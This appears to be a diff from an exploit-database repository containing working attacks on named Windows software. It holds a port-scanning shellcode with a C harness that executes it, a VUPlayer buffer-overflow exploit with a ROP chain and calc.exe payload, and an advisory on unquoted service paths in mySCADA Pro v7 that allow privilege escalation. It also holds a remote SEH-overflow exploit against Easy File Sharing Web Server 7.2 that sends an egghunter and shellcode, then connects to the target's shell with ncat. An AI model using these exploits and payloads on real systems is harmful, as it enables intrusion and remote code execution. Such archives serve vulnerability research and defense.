ad: 68 4c 6f 61 64 push $0x64616f4c
b2: 54 push %esp
b3: 57 push %edi
b4: 8b 16 mov (%esi),%edx
b6: ff d2 call *%edx
b8: 83 c4 0c add $0xc,%esp
bb: 89 46 08 mov %eax,0x8(%esi)
be: 31 c9 xor %ecx,%ecx
c0: 68 6c 6c 41 41 push $0x41416c6c
c5: 88 4c 24 02 mov %cl,0x2(%esp)
c9: 68 72 74 2e 64 push $0x642e7472
ce: 68 6d 73 76 63 push $0x6376736d
d3: 54 push %esp
d4: ff d0 call *%eax
d6: 83 c4 0c add $0xc,%esp
d9: 89 c7 mov %eax,%edi
db: 31 c9 xor %ecx,%ecx
dd: 51 push %ecx
de: 68 74 66 5f 73 push $0x735f6674
e3: 68 70 72 69 6e push $0x6e697270
e8: 54 push %esp
e9: 50 push %eax
ea: 8b 16 mov (%esi),%edx
ec: ff d2 call *%edx
ee: 83 c4 08 add $0x8,%esp
f1: 89 46 0c mov %eax,0xc(%esi)
f4: 31 c9 xor %ecx,%ecx
f6: 51 push %ecx
f7: 68 65 78 69 74 push $0x74697865
fc: 54 push %esp
fd: 57 push %edi
fe: 8b 16 mov (%esi),%edx
100: ff d2 call *%edx
102: 83 c4 08 add $0x8,%esp
105: 89 46 10 mov %eax,0x10(%esi)
108: 8b 56 08 mov 0x8(%esi),%edx
10b: 31 c9 xor %ecx,%ecx
10d: 68 64 6c 6c 41 push $0x416c6c64
112: 88 4c 24 03 mov %cl,0x3(%esp)
116: 68 6b 33 32 2e push $0x2e32336b
11b: 68 77 73 6f 63 push $0x636f7377
120: 54 push %esp
121: ff d2 call *%edx
123: 83 c4 0c add $0xc,%esp
126: 89 c7 mov %eax,%edi
128: 31 c9 xor %ecx,%ecx
12a: 68 75 70 41 41 push $0x41417075
12f: 88 4c 24 02 mov %cl,0x2(%esp)
133: 68 74 61 72 74 push $0x74726174
138: 68 57 53 41 53 push $0x53415357
13d: 54 push %esp
13e: 50 push %eax
13f: 8b 16 mov (%esi),%edx
141: ff d2 call *%edx
143: 89 46 14 mov %eax,0x14(%esi)
146: 83 c4 0c add $0xc,%esp
149: 68 65 74 41 41 push $0x41417465
14e: 31 c9 xor %ecx,%ecx
150: 88 4c 24 02 mov %cl,0x2(%esp)
154: 68 73 6f 63 6b push $0x6b636f73
159: 54 push %esp
15a: 57 push %edi
15b: 8b 16 mov (%esi),%edx
15d: ff d2 call *%edx
15f: 89 46 18 mov %eax,0x18(%esi)
162: 83 c4 08 add $0x8,%esp
165: 68 65 63 74 41 push $0x41746365
16a: 31 c9 xor %ecx,%ecx
16c: 88 4c 24 03 mov %cl,0x3(%esp)
170: 68 63 6f 6e 6e push $0x6e6e6f63
175: 54 push %esp
176: 57 push %edi
177: 8b 16 mov (%esi),%edx
179: ff d2 call *%edx
17b: 83 c4 08 add $0x8,%esp
17e: 89 46 1c mov %eax,0x1c(%esi)
181: 31 c9 xor %ecx,%ecx
183: 68 6b 65 74 41 push $0x4174656b
188: 88 4c 24 03 mov %cl,0x3(%esp)
18c: 68 65 73 6f 63 push $0x636f7365
191: 68 63 6c 6f 73 push $0x736f6c63
196: 54 push %esp
197: 57 push %edi
198: 8b 16 mov (%esi),%edx
19a: ff d2 call *%edx
19c: 83 c4 0c add $0xc,%esp
19f: 89 46 08 mov %eax,0x8(%esi)
1a2: 8b 56 14 mov 0x14(%esi),%edx
1a5: 31 c9 xor %ecx,%ecx
1a7: 66 b9 90 01 mov $0x190,%cx
1ab: 29 cc sub %ecx,%esp
1ad: 66 b9 02 02 mov $0x202,%cx
1b1: 8d 1c 24 lea (%esp),%ebx
1b4: 53 push %ebx
1b5: 51 push %ecx
1b6: ff d2 call *%edx
1b8: 31 ff xor %edi,%edi
000001ba <scan>:
1ba: 31 d2 xor %edx,%edx
1bc: b2 06 mov $0x6,%dl
1be: 52 push %edx
1bf: 83 ea 05 sub $0x5,%edx
1c2: 52 push %edx
1c3: 42 inc %edx
1c4: 52 push %edx
1c5: 8b 56 18 mov 0x18(%esi),%edx
1c8: ff d2 call *%edx
1ca: 89 c3 mov %eax,%ebx
1cc: 31 d2 xor %edx,%edx
1ce: 52 push %edx
1cf: 52 push %edx
1d0: 52 push %edx
1d1: 52 push %edx
1d2: 31 c0 xor %eax,%eax
1d4: b0 ff mov $0xff,%al
1d6: 40 inc %eax
1d7: f7 e7 mul %edi
1d9: c6 04 24 02 movb $0x2,(%esp)
1dd: 89 44 24 02 mov %eax,0x2(%esp)
1e1: 8d 14 24 lea (%esp),%edx
1e4: 31 c9 xor %ecx,%ecx
1e6: b1 10 mov $0x10,%cl
1e8: 53 push %ebx
1e9: 51 push %ecx
1ea: 52 push %edx
1eb: 53 push %ebx
1ec: 8b 46 1c mov 0x1c(%esi),%eax
1ef: ff d0 call *%eax
1f1: 5b pop %ebx
1f2: 83 c4 10 add $0x10,%esp
1f5: 31 c9 xor %ecx,%ecx
1f7: 51 push %ecx
1f8: 68 20 20 20 0a push $0xa202020
1fd: 68 3e 20 25 64 push $0x6425203e
202: 68 25 64 20 2d push $0x2d206425
207: 54 push %esp
208: 59 pop %ecx
209: 50 push %eax
20a: 57 push %edi
20b: 51 push %ecx
20c: 8b 46 0c mov 0xc(%esi),%eax
20f: ff d0 call *%eax
211: 83 c4 10 add $0x10,%esp
214: 53 push %ebx
215: 8b 46 08 mov 0x8(%esi),%eax
218: ff d0 call *%eax
21a: 47 inc %edi
21b: 83 ff 65 cmp $0x65,%edi
21e: 75 9a jne 1ba <scan>
220: 8b 46 04 mov 0x4(%esi),%eax
223: 8b 7e 10 mov 0x10(%esi),%edi
226: 56 push %esi
227: ff d0 call *%eax
229: 50 push %eax
22a: ff d7 call *%edi
*/
/*
section .text
global _start
_start:
xor ebx,ebx
mov eax,[fs:ebx+0x30]
mov eax,[eax+0xc]
mov esi,[eax+0x14]
lodsd
xchg esi,eax
lodsd
mov ebx,[eax+0x10] ;kernel32.dll base address
xor edx,edx
mov edx,[ebx+0x3c]
add edx,ebx
mov edx,[edx+0x78]
add edx,ebx ;IMAGE_EXPORT_DIRECTORY
mov esi,[edx+0x20]
add esi,ebx ;AddressOfNames
xor ecx,ecx
getp:
inc ecx
lodsd
add eax,ebx
cmp dword [eax],'GetP'
jnz getp
cmp dword [eax+4],'rocA'
jnz getp
cmp dword [eax+8],'ddre'
jnz getp
mov esi,[edx+0x1c]
add esi,ebx ;AddressOfFunctions
mov edx,[esi+ecx*4]
add edx,ebx ;GetProcAddress()
;----------------------------------
xor esi,esi
mov esi,edx ;GetProcAddress()
mov edi,ebx ;kernel32 base address
;------------------------------
;finding address of GlobalAlloc()
xor ecx,ecx
push 0x41636f6c
mov [esp+3],byte cl
push 0x6c416c61
push 0x626f6c47
push esp
push ebx
call edx
add esp,12
;---------------------------
;GlobalAlloc(0x00,4*8) sizeof every function address 4 byte and i will store address of 8 functions
xor ecx,ecx
mov cl,32
push ecx
xor ecx,ecx
push ecx
call eax
;--------------------------------
mov ecx,esi
mov esi,eax
mov [esi],dword ecx ;GetProcAddress() at offset 0
;----------------------------------
;finding address of GlobalFree()
xor ecx,ecx
push 0x41416565
mov [esp+2],byte cl
push 0x72466c61
push 0x626f6c47
push esp
push edi
mov edx,dword [esi]
call edx
add esp,12
;----------------------
mov [esi+4],dword eax ;GlobalFree() at offset 4
;------------------------
;finding address of LoadLibraryA()
xor ecx,ecx
push ecx
push 0x41797261
push 0x7262694c
push 0x64616f4c
push esp
push edi
mov edx,dword [esi]
call edx
add esp,12
;----------------------
mov [esi+8],dword eax ;LoadLibraryA() at offset 8
;------------------------
;loading msvcrt.dll
xor ecx,ecx
push 0x41416c6c
mov [esp+2],byte cl
push 0x642e7472
push 0x6376736d
push esp
call eax
add esp,12
;-------------------------
mov edi,eax ;msvcrt.dll base address
;-----------------------
;finding address of printf()
xor ecx,ecx
push ecx
push 0x735f6674
push 0x6e697270
push esp
push eax
mov edx,dword [esi]
call edx
add esp,8
;----------------------
mov [esi+12],dword eax ;printf() at offset 12
;---------------------
;finding address of exit()
xor ecx,ecx
push ecx
push 'exit'
push esp
push edi
mov edx,dword [esi]
call edx
add esp,8
;---------------------
mov [esi+16],dword eax ;exit() at offset 16
;--------------------------------
;loading wsock32.dll
mov edx,dword [esi+8]
xor ecx,ecx
push 0x416c6c64
mov [esp+3],byte cl
push 0x2e32336b
push 0x636f7377
push esp
call edx
add esp,12
;----------------------
mov edi,eax ;wsock32.dll
;---------------------
;finding address of WSAStartup()
xor ecx,ecx
push 0x41417075
mov [esp+2],byte cl
push 0x74726174
push 0x53415357
push esp
push eax
mov edx,dword [esi]
call edx
;---------------------
mov [esi+20],dword eax ;WSAStartup() at offset 20
;----------------------
add esp,12
;finding address of socket()
push 0x41417465
xor ecx,ecx
mov [esp+2],byte cl
push 0x6b636f73
push esp
push edi
mov edx,dword [esi]
call edx
;-------------------------------
mov [esi+24],dword eax ;socket() at offset 24
;------------------------------
add esp,8
;finding address connect()
push 0x41746365
xor ecx,ecx
mov [esp+3],byte cl
push 0x6e6e6f63
push esp
push edi
mov edx,dword [esi]
call edx
add esp,8
;-------------------------
mov [esi+28],dword eax ;connect() at offset 28
;---------------------------------
;finding address of closesocket()
xor ecx,ecx
push 0x4174656b
mov [esp+3],byte cl
push 0x636f7365
push 0x736f6c63
push esp
push edi
mov edx,dword [esi]
call edx
add esp,12
;---------------------------
mov [esi+8],dword eax ;closesocket() at offset 8
;---------------------------------
;-------------------
;WSAStartup(514,&wsa)
mov edx,dword [esi+20] ;edx=WSAStartup()
xor ecx,ecx
mov cx,400
sub esp,ecx
mov cx,514
lea ebx,[esp]
push ebx
push ecx
call edx
;---------------------
xor edi,edi ;port scanning start from 0 - 100
scan:
;socket(2,1,6)
xor edx,edx
mov dl,6
push edx
sub edx,5
push edx
inc edx
push edx
mov edx,dword [esi+24] ;socket()
call edx
;----------------------
;connect()
mov ebx,eax ;SOCKET
xor edx,edx
push edx
push edx
push edx
push edx
xor eax,eax
mov al,255
inc eax
mul edi
mov [esp],byte 2
mov [esp+2],word eax
;mov [esp+4],dword 0x81e8a8c0 ;Use it to scan foreign host
lea edx,[esp]
xor ecx,ecx
mov cl,16
push ebx
push ecx
push edx
push ebx
mov eax,[esi+28] ;connect()
call eax
pop ebx ;SOCKET
add esp,16
xor ecx,ecx
push ecx
push 0x0a202020
push 0x6425203e
push 0x2d206425
push esp
pop ecx
push eax
push edi
push ecx
mov eax,dword [esi+12] ;printf()
call eax
add esp,16
push ebx ;SOCKET
mov eax,dword [esi+8] ;closesocket()
call eax
inc edi
cmp edi,101
jne scan
mov eax,dword [esi+4] ;GlobalFree()
mov edi,dword [esi+16] ;exit()
push esi
call eax
push eax
call edi
*/
#include<stdio.h>
#include<string.h>
char shellcode[]="\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x31\xd2\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x31\xf6\x89\xd6\x89\xdf\x31\xc9\x68\x6c\x6f\x63\x41\x88\x4c\x24\x03\x68\x61\x6c\x41\x6c\x68\x47\x6c\x6f\x62\x54\x53\xff\xd2\x83\xc4\x0c\x31\xc9\xb1\x20\x51\x31\xc9\x51\xff\xd0\x89\xf1\x89\xc6\x89\x0e\x31\xc9\x68\x65\x65\x41\x41\x88\x4c\x24\x02\x68\x61\x6c\x46\x72\x68\x47\x6c\x6f\x62\x54\x57\x8b\x16\xff\xd2\x83\xc4\x0c\x89\x46\x04\x31\xc9\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x57\x8b\x16\xff\xd2\x83\xc4\x0c\x89\x46\x08\x31\xc9\x68\x6c\x6c\x41\x41\x88\x4c\x24\x02\x68\x72\x74\x2e\x64\x68\x6d\x73\x76\x63\x54\xff\xd0\x83\xc4\x0c\x89\xc7\x31\xc9\x51\x68\x74\x66\x5f\x73\x68\x70\x72\x69\x6e\x54\x50\x8b\x16\xff\xd2\x83\xc4\x08\x89\x46\x0c\x31\xc9\x51\x68\x65\x78\x69\x74\x54\x57\x8b\x16\xff\xd2\x83\xc4\x08\x89\x46\x10\x8b\x56\x08\x31\xc9\x68\x64\x6c\x6c\x41\x88\x4c\x24\x03\x68\x6b\x33\x32\x2e\x68\x77\x73\x6f\x63\x54\xff\xd2\x83\xc4\x0c\x89\xc7\x31\xc9\x68\x75\x70\x41\x41\x88\x4c\x24\x02\x68\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x50\x8b\x16\xff\xd2\x89\x46\x14\x83\xc4\x0c\x68\x65\x74\x41\x41\x31\xc9\x88\x4c\x24\x02\x68\x73\x6f\x63\x6b\x54\x57\x8b\x16\xff\xd2\x89\x46\x18\x83\xc4\x08\x68\x65\x63\x74\x41\x31\xc9\x88\x4c\x24\x03\x68\x63\x6f\x6e\x6e\x54\x57\x8b\x16\xff\xd2\x83\xc4\x08\x89\x46\x1c\x31\xc9\x68\x6b\x65\x74\x41\x88\x4c\x24\x03\x68\x65\x73\x6f\x63\x68\x63\x6c\x6f\x73\x54\x57\x8b\x16\xff\xd2\x83\xc4\x0c\x89\x46\x08\x8b\x56\x14\x31\xc9\x66\xb9\x90\x01\x29\xcc\x66\xb9\x02\x02\x8d\x1c\x24\x53\x51\xff\xd2\x31\xff\x31\xd2\xb2\x06\x52\x83\xea\x05\x52\x42\x52\x8b\x56\x18\xff\xd2\x89\xc3\x31\xd2\x52\x52\x52\x52\x31\xc0\xb0\xff\x40\xf7\xe7\xc6\x04\x24\x02\x89\x44\x24\x02\x8d\x14\x24\x31\xc9\xb1\x10\x53\x51\x52\x53\x8b\x46\x1c\xff\xd0\x5b\x83\xc4\x10\x31\xc9\x51\x68\x20\x20\x20\x0a\x68\x3e\x20\x25\x64\x68\x25\x64\x20\x2d\x54\x59\x50\x57\x51\x8b\x46\x0c\xff\xd0\x83\xc4\x10\x53\x8b\x46\x08\xff\xd0\x47\x83\xff\x65\x75\x9a\x8b\x46\x04\x8b\x7e\x10\x56\xff\xd0\x50\xff\xd7";
main()
{
printf("shellcode length %ld\n",(unsigned)strlen(shellcode));
(* (int(*)()) shellcode) ();
}

62
platforms/windows/local/40172.py Executable file
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@ -0,0 +1,62 @@
#!/usr/bin/python
import os,sys
#Tested Windows 7 Home x86 & Windows 10 Home x86_x64
#badchars \x00\x0a\x1a\x20\x40
#msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe -b "\x00\x0a\x1a\x20\x40" -f python
buf = ""
buf += "\xbf\x3b\x99\xdd\xa3\xdb\xc4\xd9\x74\x24\xf4\x58\x29"
buf += "\xc9\xb1\x33\x31\x78\x12\x03\x78\x12\x83\xfb\x9d\x3f"
buf += "\x56\x07\x75\x36\x99\xf7\x86\x29\x13\x12\xb7\x7b\x47"
buf += "\x57\xea\x4b\x03\x35\x07\x27\x41\xad\x9c\x45\x4e\xc2"
buf += "\x15\xe3\xa8\xed\xa6\xc5\x74\xa1\x65\x47\x09\xbb\xb9"
buf += "\xa7\x30\x74\xcc\xa6\x75\x68\x3f\xfa\x2e\xe7\x92\xeb"
buf += "\x5b\xb5\x2e\x0d\x8c\xb2\x0f\x75\xa9\x04\xfb\xcf\xb0"
buf += "\x54\x54\x5b\xfa\x4c\xde\x03\xdb\x6d\x33\x50\x27\x24"
buf += "\x38\xa3\xd3\xb7\xe8\xfd\x1c\x86\xd4\x52\x23\x27\xd9"
buf += "\xab\x63\x8f\x02\xde\x9f\xec\xbf\xd9\x5b\x8f\x1b\x6f"
buf += "\x7e\x37\xef\xd7\x5a\xc6\x3c\x81\x29\xc4\x89\xc5\x76"
buf += "\xc8\x0c\x09\x0d\xf4\x85\xac\xc2\x7d\xdd\x8a\xc6\x26"
buf += "\x85\xb3\x5f\x82\x68\xcb\x80\x6a\xd4\x69\xca\x98\x01"
buf += "\x0b\x91\xf6\xd4\x99\xaf\xbf\xd7\xa1\xaf\xef\xbf\x90"
buf += "\x24\x60\xc7\x2c\xef\xc5\x37\x67\xb2\x6f\xd0\x2e\x26"
buf += "\x32\xbd\xd0\x9c\x70\xb8\x52\x15\x08\x3f\x4a\x5c\x0d"
buf += "\x7b\xcc\x8c\x7f\x14\xb9\xb2\x2c\x15\xe8\xd0\xb3\x85"
buf += "\x70\x39\x56\x2e\x12\x45"
rop = "\xe7\x5f\x01\x10" #POP EAX # RETN [BASS.dll]
rop += "\x5c\xe2\x60\x10" #ptr to &VirtualProtect() [IAT BASSMIDI.dll]
rop += "\xf1\xea\x01\x10" #MOV EAX,DWORD PTR DS:[EAX] # RTN [BASS.dll]
rop += "\x50\x09\x03\x10" #XCHG EAX,ESI # RETN [BASS.dll]
rop += "\x0c\x80\x60\x10" #POP EBP # RETN 0x0C [BASSMIDI.dll]
rop += "\x9f\x53\x10\x10" #& jmp esp BASSWMA.dll
rop += "\xe7\x5f\x01\x10" #POP EAX # RETN [BASS.dll]
rop += "\x90"*12
rop += "\xff\xfd\xff\xff" #201 in negative
rop += "\xb4\x4d\x01\x10" #NEG EAX # RETN [BASS.dll]
rop += "\x72\x2f\x03\x10" #XCHG EAX,EBX # RETN [BASS.dll]
rop += "\xe7\x5f\x01\x10" #POP EAX # RETN [BASS.dll]
rop += "\xc0\xff\xff\xff" #40 in negative
rop += "\xb4\x4d\x01\x10" #NEG EAX # RETN [BASS.dll]
rop += "\x6c\x8a\x03\x10" #XCHG EAX,EDX # RETN [BASS.dll]
rop += "\x07\x10\x10\x10" #POP ECX # RETN [BASSWMA.dll]
rop += "\x93\x83\x10\x10" #&Writable location [BASSWMA.dll]
rop += "\x04\xdc\x01\x10" #POP EDI # RETN [BASS.dll]
rop += "\x84\xa0\x03\x10" #RETN [BASS.dll]
rop += "\xe7\x5f\x01\x10" #POP EAX # RETN [BASS.dll]
rop += "\x90"*4
rop += "\xa5\xd7\x01\x10" #PUSHAD # RETN [BASS.dll]
exploit = "\x41"*1012 + rop + "\x90"*8 + buf
print "len + " + str(len(rop))
file = open('/root/Desktop/exploit_development/VUPlayer/boom.pls','w')
file.write(exploit)
file.close()

40
platforms/windows/local/40173.txt Executable file
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@ -0,0 +1,40 @@
mySCADAProv7 Local Privilege Escalation
Vendor: mySCADA Technologies s.r.o.
Product web page: https://www.myscada.org/
Affected application: myscadaPro
Affected version: v7 (Current version)
Vulnerability discovered by: Karn Ganeshen
Description:
myscadaPro7 application installs seven (8) services. All these services run as LocalSystem by default, and suffer from an unquoted search path issue. This could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system.
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges of the application.
Tested on:
Microsoft Windows Vista Ultimate SP2 (EN)
Details
The following services have insecurely quoted paths:
1. Bonjour Service (Bonjour Service) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mDNSResponder.exe:
2. myalerting (myalerting) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myalerting.exe\" -c \"C:\ProgramData\mySCADA\myscada.conf\" -m \"C:\ProgramData\mySCADA\msmtp.conf\" -s \"C:\ProgramData\mySCADA\sms.conf\" ":
3. myscadacom (myscadacom) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myscadacom.exe\" -c \"C:\ProgramData\mySCADA\myscada.conf\" ":
4. myscadadb (myscadadb) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myscadadb.exe\" -c \"C:\ProgramData\mySCADA\myscada.conf\" ":
5. myscadagate (myscadagate) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myscadagate.exe\" -f \"C:\ProgramData\mySCADA\myscada.conf\" ":
6. myscadahmi (myscadahmi) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myscadahmi.exe\" -p \"C:\Program Files\mySCADA\" -c \"conf\hmi.conf\" ":
7. myscadalog (myscadalog) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myscadalog.exe\" -c \"C:\ProgramData\mySCADA\myscada.conf\" ":
8. myscadascr (myscadascr) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\node.exe\" \"C:\Program Files\mySCADA\bin\scripts\scripts.js\" -c \"C:\ProgramData\mySCADA\myscada.conf\" -a 1 ":

85
platforms/windows/remote/40178.py Executable file
View file

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#!/usr/bin/python
# Exploit Title: Easy File Sharing Web Server 7.2 SEH Overflow with Egghunter
# Date: July 29, 2016
# Exploit Author: ch3rn0byl
# Vendor Homepage: http://www.sharing-file.com/
# Software Link: http://www.sharing-file.com/download.php
# Version: 7.2
# Tested on: Windows 7, 8, 8.1, 10
# Admin privileges anyone?? hehe ;)
from socket import socket, AF_INET, SOCK_STREAM
from sys import argv
from struct import pack
from time import sleep
from subprocess import call
host = argv[1]
rekt = ""
rekt += "\x93\x93\x48\xf5\x93\x93\x90\xf9\x90\x37\x4a\x48\x90"
rekt += "\x99\x9b\x37\x98\x9f\xfc\xd6\xbd\x71\xab\x9a\xbc\xdb"
rekt += "\xd0\xd9\x74\x24\xf4\x5f\x29\xc9\xb1\x53\x31\x6f\x12"
rekt += "\x83\xef\xfc\x03\x1e\xa5\x78\x49\x1c\x51\xfe\xb2\xdc"
rekt += "\xa2\x9f\x3b\x39\x93\x9f\x58\x4a\x84\x2f\x2a\x1e\x29"
rekt += "\xdb\x7e\x8a\xba\xa9\x56\xbd\x0b\x07\x81\xf0\x8c\x34"
rekt += "\xf1\x93\x0e\x47\x26\x73\x2e\x88\x3b\x72\x77\xf5\xb6"
rekt += "\x26\x20\x71\x64\xd6\x45\xcf\xb5\x5d\x15\xc1\xbd\x82"
rekt += "\xee\xe0\xec\x15\x64\xbb\x2e\x94\xa9\xb7\x66\x8e\xae"
rekt += "\xf2\x31\x25\x04\x88\xc3\xef\x54\x71\x6f\xce\x58\x80"
rekt += "\x71\x17\x5e\x7b\x04\x61\x9c\x06\x1f\xb6\xde\xdc\xaa"
rekt += "\x2c\x78\x96\x0d\x88\x78\x7b\xcb\x5b\x76\x30\x9f\x03"
rekt += "\x9b\xc7\x4c\x38\xa7\x4c\x73\xee\x21\x16\x50\x2a\x69"
rekt += "\xcc\xf9\x6b\xd7\xa3\x06\x6b\xb8\x1c\xa3\xe0\x55\x48"
rekt += "\xde\xab\x31\xbd\xd3\x53\xc2\xa9\x64\x20\xf0\x76\xdf"
rekt += "\xae\xb8\xff\xf9\x29\xbe\xd5\xbe\xa5\x41\xd6\xbe\xec"
rekt += "\x85\x82\xee\x86\x2c\xab\x64\x56\xd0\x7e\x10\x5e\x77"
rekt += "\xd1\x07\xa3\xc7\x81\x87\x0b\xa0\xcb\x07\x74\xd0\xf3"
rekt += "\xcd\x1d\x79\x0e\xee\xf5\x4b\x87\x08\x9f\xbb\xc1\x83"
rekt += "\x37\x7e\x36\x1c\xa0\x81\x1c\x34\x46\xc9\x76\x83\x69"
rekt += "\xca\x5c\xa3\xfd\x41\xb3\x77\x1c\x56\x9e\xdf\x49\xc1"
rekt += "\x54\x8e\x38\x73\x68\x9b\xaa\x10\xfb\x40\x2a\x5e\xe0"
rekt += "\xde\x7d\x37\xd6\x16\xeb\xa5\x41\x81\x09\x34\x17\xea"
rekt += "\x89\xe3\xe4\xf5\x10\x61\x50\xd2\x02\xbf\x59\x5e\x76"
rekt += "\x6f\x0c\x08\x20\xc9\xe6\xfa\x9a\x83\x55\x55\x4a\x55"
rekt += "\x96\x66\x0c\x5a\xf3\x10\xf0\xeb\xaa\x64\x0f\xc3\x3a"
rekt += "\x61\x68\x39\xdb\x8e\xa3\xf9\xeb\xc4\xe9\xa8\x63\x81"
rekt += "\x78\xe9\xe9\x32\x57\x2e\x14\xb1\x5d\xcf\xe3\xa9\x14"
rekt += "\xca\xa8\x6d\xc5\xa6\xa1\x1b\xe9\x15\xc1\x09"
# Our tag is hive: \x68\x69\x76\x65
egghunter = ''
egghunter += '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c'
egghunter += '\x05\x5a\x74\xef\xb8\x68\x69\x76\x65\x8b\xfa\xaf\x75'
egghunter += '\xea\xaf\x75\xe7\xff\xe7'
crash = "A" * 4061
crash += pack('<L', 0x909006eb)
crash += pack('<L', 0x10019ce3)
crash += egghunter
crash += "D" * (5500 - 4061 - 8 - len(egghunter))
payload = 'GET {} HTTP/1.0\r\n\r\n'.format(crash)
payload += 'hivehive'
payload += rekt
payload += 'E' * (800 - len(rekt))
print '[+] Trying to exploit {}...'.format(host)
try:
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, 80))
print '[+] Sending payload...'
s.send(payload)
s.close()
print '[+] Trying to connect to target...\n'
try:
sleep(2)
call(['ncat', host, '54321'])
except:
print '[!] Whoops!! Something went wrong?'
except:
print '[!] Whoops!! Something went wrong?'
finally:
print '\n[+] I <3 SHELLS'